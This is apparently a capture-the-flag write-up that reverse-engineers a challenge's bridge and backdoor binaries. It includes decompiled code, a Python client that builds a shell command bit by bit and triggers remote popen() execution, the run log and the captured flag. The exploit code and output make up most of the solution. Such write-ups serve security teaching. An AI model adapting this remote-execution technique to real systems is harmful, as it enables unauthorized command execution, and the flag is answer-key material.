Challenge description
A friendly hacktivist dropped us a backdoor on a server owned by a deforestation enterprise. Sadly noone knows how to operate it, she has given us the binaries. Figure it out and obtain the secret documents.
First impression
We are given two binaries, one called bridge and the other backdoor.
Not surprisingly they do what there name implies. The bridge listens on a TCP socket, reads and parses packets and then passes on parts of them over UDP to the backdoor process, in some cases it also reads back a response from the backdoor over UDP. Then the bridge sends a response back to the user over TCP.
But which messages are passed on, what format, and how do we find the flag?
Bridge
When the bridge starts it opens a listening tcp port on 42069, and connects a udp socket to port 1056
sudo netstat -nap | grep -e bridge -e backdoor tcp 0 0 0.0.0.0:42069 0.0.0.0:* LISTEN 22849/./bridge udp 0 0 127.0.0.1:35927 127.0.0.1:1056 ESTABLISHED 22849/./bridge
Then in a loop it reads 0x14 bytes from tcp port, and handles the commands (first dword) given:
command | action |
---|---|
0x00010000 | send next received byte to the backdoor over main udp port 1056, read up to 0x1000 bytes of response from udp, and send it back over tcp |
0x08000000 | read 8 port numbers from tcp, create and connect 8 udp sockets to the ports, send character ‘i’ to the ports |
Bridge command handling code (partial code)
if ( *(_DWORD *)p_buf == 0x10000 ) { addr.port = 0x2004; // port 1056 if ( sendto(main_udp_fd, p_buf + 4, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u) < 0 || (amount_received = recvfrom( main_udp_fd, local_buf, 0x1000uLL, 0, (struct sockaddr *)&addr, &addr_len_or_sendbuf), amount_received < 0) || send(accepted_tcp_fd, local_buf, amount_received, 0) < 0 ) } else if ( *(_DWORD *)p_buf == 0x8000000 ) { LOBYTE(sendbuf) = 'i'; p_ports = p_buf + 4; p_end = p_buf + 20; do { new_udp_socket = socket(2, 2, 0); // udp *(_QWORD *)&addr.sa_family = 0LL; addr.field_8 = 0LL; rotated = __ROL2__(*p_ports, 8); addr.port = rotated; addr.sa_family = 2; sendto(new_udp_socket, &sendbuf, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u); ++p_ports; } while ( p_ports != p_end ); send(accepted_tcp_fd, &addr_len_or_sendbuf, 1uLL, 0); result = 0LL; }
That’s it for the bridge.
Backdoor
When you startup the backdoor process, it creates and connects 8 random udp ports.
sudo netstat -nap | grep -e backdoor -e bridge tcp 0 0 0.0.0.0:42069 0.0.0.0:* LISTEN 5470/./bridge udp 0 0 127.0.0.1:35927 127.0.0.1:1056 ESTABLISHED 5470/./bridge udp 0 0 0.0.0.0:1056 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:27274 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:48448 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:3715 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:17220 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:41941 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:9248 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:1998 0.0.0.0:* 8524/./backdoor udp 0 0 0.0.0.0:51181 0.0.0.0:* 8524/./backdoor
It then listens for commands both on the main udp port 1056, and on all the random ports.
Commands received on random ports
command | action |
---|---|
i | XOR corresponding bit in current character buffer. Each thread/random_port is in charge of toggling one bit. |
‘i’ command handling code
void __fastcall struc4::if_i_toggle_command(struc_4 *p_struc4, _BYTE *p_buf, __int64 len) { if ( len > 0 && *p_buf == 'i' ) p_struc4->command.data.buf[0] ^= 1u; }
Commands received on main udp port
commands | action |
---|---|
1 | commit current character to command buffer |
2 | reset the system, clear command buffer, generate new threads and random ports |
4 | call popen() on string in command buffer |
8 | send list of the eight random ports to bridge, the order corresponds to bits in the current character buffer |
Command handling code (partial code)
byte_to_send = 0xF2u; sub_command = *p_buf; if ( sub_command & 1 ) { v9 = 0; do { p_struc4_1 = (struc_4 *)p_current_1->p_struc4; v9 = (unsigned __int8)p_struc4_1->command.data.buf[0] | 2 * v9 | (v9 >> 7); ++p_current_1; } while ( p_last_1 != p_current_1 ); } *(_BYTE *)(p_struc4->struc_4.command.data.ptr + v14) = v9; sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len); } else if ( sub_command & 2 ) { struc1::reset(&g_struc1); sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len_1); } else if ( sub_command & 4 ) { p_popen_read_stream = popen((const char *)p_struc4->struc_4.command.data.ptr, "r"); if ( p_popen_read_stream ) { while ( fgets((char *)buf_to_send, 128, p_popen_read_stream) ) { ... } if ( addr_len && p_struc4->struc_4.udp_port_bound ) sendto(p_struc4->struc_4.fd_udp, p_buf_1, _basic_string_length, 0, &p_struc4->struc_4.addr, addr_len); } else if ( sub_command & 8 ) { p_current = g_struc1.p_first; p_last = g_struc1.p_last; if ( g_struc1.p_first != g_struc1.p_last ) { i = 0LL; do { p_current_struc4 = (struc_4 *)p_current->p_struc4; buf_to_send[i] = p_current_struc4->random_port; ++i; ++p_current; } while ( p_last != p_current ); } sendto(p_struc4->struc_4.fd_udp, buf_to_send, 0x10uLL, 0, &p_struc4->struc_4.addr, v28); }
Connecting the dots
Now that we understand the various commands and sub-commands, we can string them all together in order to read the flag. What we want to do is, to send a shell command string to the backdoor and tell it to execute it using popen
:
- send reset command (commmand 0x10000, sub 2), to clean internal command buffer.
- send get ports command (commmand 0x10000, sub 8), to get list of random ports
- for each character in our command string,
cat ./flag
, set the appropriate bits by toggling them with the XOR command:- send character using set char command (0x8000000), by toggling it on with XOR.
- commit the character using commit char command (commmand 0x10000, sub 8)
- send same character using set char command (0x8000000), in order to toggle it off with same XOR, so we are ready for next command.
- send execute command (commmand 0x10000, sub 4)
The python implementation
#!/usr/bin/env python3 import socket import struct UDP_PORT = 1056 # HOST = '127.0.0.1' # The server's hostname or IP address # TCP_PORT = 42069 # The port used by the server HOST = 'pnbnc.forfuture.fluxfingers.net' TCP_PORT = 11111 def send_and_recv(s, data): print("sending data: ", repr(data)) s.sendall(data) data = s.recv(1024) print('Received tcp', repr(data)) return data with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: print("tcp socket", s) s.connect((HOST, TCP_PORT)) data = struct.pack("<I", 0x10000) + b'\x02' print(send_and_recv(s, data)) data = struct.pack("<I", 0x10000) + b'\x08' ports = send_and_recv(s, data) ports = struct.unpack("<HHHHHHHH", ports) print("ports: ", ports) def send_char(char): data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)]) send_and_recv(s, data) data = struct.pack("<I", 0x10000) + b'\x01' send_and_recv(s, data) data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)]) send_and_recv(s, data) for char in b"cat ./flag": send_char(char) data = struct.pack("<I", 0x10000) + b'\x04' print(send_and_recv(s, data))
Running the script gives the following output
tcp socket <socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('0.0.0.0', 0)> [>] b'\x00\x00\x01\x00\x02' [<] b'\xf2' [>] b'\x00\x00\x01\x00\x08' [<] b'\xe8*\x11;\x8b\xf2y)\xdc\x1dh\xc5\xd2\xbb\x0c\xa4' ports: (10984, 15121, 62091, 10617, 7644, 50536, 48082, 41996) [>] b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x01' [<] b'\xf2' [>] b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00' [<] b'i' [>] b'\x00\x00\x01\x00\x04' [<] b'flag{Kn0ck_Kn0ck____Wh0sTh3r3}\n'
received flag: flag{Kn0ck_Kn0ck____Wh0sTh3r3}